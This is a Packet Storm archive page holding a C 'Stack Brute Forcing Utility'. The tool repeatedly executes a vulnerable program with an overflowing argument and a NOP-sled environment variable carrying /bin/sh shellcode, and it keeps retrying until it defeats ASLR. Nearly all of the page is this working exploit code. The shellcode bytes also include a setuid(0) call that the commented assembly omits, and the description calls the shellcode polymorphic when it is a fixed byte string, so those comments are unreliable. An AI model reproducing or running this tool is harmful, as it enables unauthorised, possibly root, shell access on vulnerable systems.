what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Stack Brute Forcing Utility

Stack Brute Forcing Utility
Posted Jul 28, 2010
Authored by gunslinger | Site gunslingerc0de.wordpress.com

Stack bruteforcing utility against buffer overflow programs with ASLR. Provides polymorphic shellcode for /bin/sh.

tags | overflow, shellcode
SHA-256 | d56b8333a432e6588c4397209bb5d75730a1eb5003fc9380c6c5f8fe305840b2

Stack Brute Forcing Utility

Change Mirror Download
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/*
You can use debugger to get esp address, that can make program will be defeated more faster !
RET is return address we use to overwrite EIP . we can use 0xbffffff4 for default, but may take sometime...
*/
#define RET 0xbffffff4 // you may change this
#define NOP 0x90

// Length of environment variable ~ 128 Kb
#define ENV_LEN 128000


char shellcode[] =
/*
; standard /bin//sh
global _start

_start:

xor eax,eax
push byte 11
pop eax
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push ebx
int 0x80

*/
"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

int main(int argc, char **argv)
{
char *application = NULL;
char *buffer = NULL;
char env_var[ENV_LEN];
char *env[2] = { env_var, NULL};
int *p, num, ret, pid, payload_size;

if (argc < 3)
{
printf("\nStack Brute Force");
printf("\nProgrammer : Gunslinger_");
printf("\nUsage: %s <application> <payload_size>\n\n", argv[0]);
exit(1);
}

printf("[*] Using return address 0x%x \n", RET);
printf("[*] Environment variable %d kb\n", ENV_LEN / 1000);
printf("[*] Shellcode size %d bytes\n", strlen(shellcode));

application = strdup(argv[1]);
payload_size = atoi(argv[2]);
buffer = (char*) malloc(payload_size);

memset (env_var, NOP, ENV_LEN);

memcpy (env_var+ENV_LEN-strlen(shellcode)-1, shellcode, strlen(shellcode));
env_var[ENV_LEN-1]=0;

p = (int*) buffer;

for (num = 0; num < payload_size; num += sizeof(int), p++)
*p = RET;
*p=0;
do {
switch(pid=fork())
{
case 0:
execle (application, application, buffer, NULL, env);
exit(0);
break;
default:
waitpid (pid, &ret, 0);
break;
}
}
while (ret);
}
Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    15 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close